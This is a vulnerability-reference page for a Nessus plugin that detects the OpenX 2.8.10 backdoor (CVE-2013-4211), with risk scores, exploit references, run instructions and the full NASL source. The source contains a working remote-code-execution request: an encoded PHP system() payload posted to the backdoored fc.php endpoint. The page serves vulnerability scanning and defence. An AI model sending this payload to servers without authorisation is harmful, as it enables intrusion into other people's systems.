OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution - Nessus

High Plugin ID: 69371

This page contains detailed information about the OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 69371
Name: OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution
Filename: openx_2_8_10_backdoor.nasl
Vulnerability Published: 2013-08-06
This Plugin Published: 2013-08-15
Last Modification Time: 2022-04-11
Plugin Version: 1.9
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: openx_detect.nasl
Required KB Items [?]: www/openx, www/PHP

Vulnerability Information

Severity: High
Vulnerability Published: 2013-08-06
Patch Published: 2013-08-07
CVE [?]: CVE-2013-4211
CPE [?]: cpe:/a:openx:openx

Synopsis

A web application hosted on the remote web server contains a backdoor.

Description

The version of OpenX installed on the remote host contains a backdoor and allows the execution of arbitrary PHP code, subject to the privileges under which the web server operates.

Solution

Upgrade to version 2.8.11 or later and refer to the project's blog post for steps from the vendor on cleaning an affected installation. Additionally, conduct a full security review of the host, as it may have been compromised.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution vulnerability:

Metasploit: exploit/multi/http/openx_backdoor_php
[OpenX Backdoor PHP Code Execution]
Exploit-DB: exploits/php/remote/27529.rb
[EDB-27529: OpenX - Backdoor PHP Code Execution (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:H/RL:OF/RC:C

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.5 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.5 (Medium)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.4 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.4 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(69371);
  script_version("1.9");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2013-4211");
  script_bugtraq_id(61650);

  script_name(english:"OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution");

  script_set_attribute(attribute:"synopsis", value:
"A web application hosted on the remote web server contains a backdoor.");
  script_set_attribute(attribute:"description", value:
"The version of OpenX installed on the remote host contains a backdoor
and allows the execution of arbitrary PHP code, subject to the
privileges under which the web server operates.");
  script_set_attribute(attribute:"see_also", value:"http://blog.openx.org/08/important-update-for-openx-source-2-8-10-users/");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.8.11 or later and refer to the project's blog post
for steps from the vendor on cleaning an affected installation. 
Additionally, conduct a full security review of the host, as it may have
been compromised.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'OpenX Backdoor PHP Code Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/08/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/08/07");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/15");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:openx:openx");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("openx_detect.nasl");
  script_require_keys("www/openx", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

port = get_http_port(default:80, php:TRUE);

install = get_install_from_kb(
  appname      : "openx",
  port         : port,
  exit_on_fail : TRUE
);

dir = install["dir"];
install_url = build_url(qs:dir, port:port);

# Hardcoded rot13 strings
# system(id);
cmd_linux = "flfgrz(vq);";
# echo system('ipconfig /all');
cmd_win = "rpub flfgrz('vcpbasvt /nyy');";

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = cmd_win;
  else cmd = cmd_linux;

  cmds = make_list(cmd);
}
else cmds = make_list(cmd_linux, cmd_win);

cmd_pats = make_array();
cmd_pats[cmd_linux] = "uid=[0-9]+.*gid=[0-9]+.*";
cmd_pats[cmd_win] = "Subnet Mask";

vuln = FALSE;

foreach cmd (cmds)
{
  # Reverse the rot13 encoded string
  cmd_buf = NULL;
  len = strlen(cmd);

  for (i = 1; i < len+1; i++)
  {
    cmd_buf += raw_string(ord(cmd[len-i]));
  }

  # Send request to execute our code
  res = http_send_recv3(
    method : "POST",
    port   : port,
    data   : "vastPlayer=" + cmd_buf,
    item   : dir + "/www/delivery/fc.php?script=deliveryLog:vastServeVideo" +
             "Player:player&file_to_serve=flowplayer/3.1.1/flowplayer" +
             "-3.1.1.min.js",
    add_headers  : make_array("Content-Type",
        "application/x-www-form-urlencoded"),
    exit_on_fail : TRUE
  );
  exploit_req = http_last_sent_request();

  if (egrep(pattern:cmd_pats[cmd], string:res[2]))
  {
    vuln = TRUE;
    output = res[2];
    break;
  }
}

if (!vuln) audit(AUDIT_WEB_APP_NOT_AFFECTED, "OpenX", install_url);

if (report_verbosity > 0)
{
  if (cmd == cmd_linux)
  {
     match = "uid";
     report_cmd = "id";
  }
  else
  {
    match = "Windows IP";
    report_cmd = "ipconfig /all";
  }

  # Format output
  output = strstr(output, match);
  # Get index of next line : ";if(this.className
  pos = stridx(output, '"');
  output = substr(output, 0, pos-1);

  snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
  report =
    '\nNessus was able to execute the command "'+report_cmd+'" on the remote'+
    '\nhost using the following request :' +
    '\n' +
    '\n' + exploit_req +
    '\n';
  if (report_verbosity > 1)
  {
    report +=
      '\nThis produced the following output :'+
      '\n' +
      '\n' + snip +
      '\n' + data_protection::sanitize_uid(output:chomp(output)) +
      '\n' + snip +
      '\n';
  }
  security_hole(port:port, extra:report);
}
else security_hole(port);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/openx_2_8_10_backdoor.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\openx_2_8_10_backdoor.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/openx_2_8_10_backdoor.nasl

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How to Run

Here is how to run the OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution plugin ID 69371.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl openx_2_8_10_backdoor.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a openx_2_8_10_backdoor.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - openx_2_8_10_backdoor.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state openx_2_8_10_backdoor.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID:

61650

See also:

Similar and related Nessus plugins:

34373 - OpenX ac.php bannerid Parameter SQL Injection
35557 - OpenX fc.php MAX_type Parameter Traversal Local File Inclusion
49271 - OpenX Open Flash Chart ofc_upload_image.php File Upload Arbitrary Code Execution
71603 - FreeBSD : OpenX -- SQL injection vulnerability (3e33a0bb-6b2f-11e3-b042-20cf30e32f6d)

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file openx_2_8_10_backdoor.nasl version 1.9. For more plugins, visit the Nessus Plugin Library.

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OpenX flowplayer-3.1.1.min.js Backdoor Remote Code Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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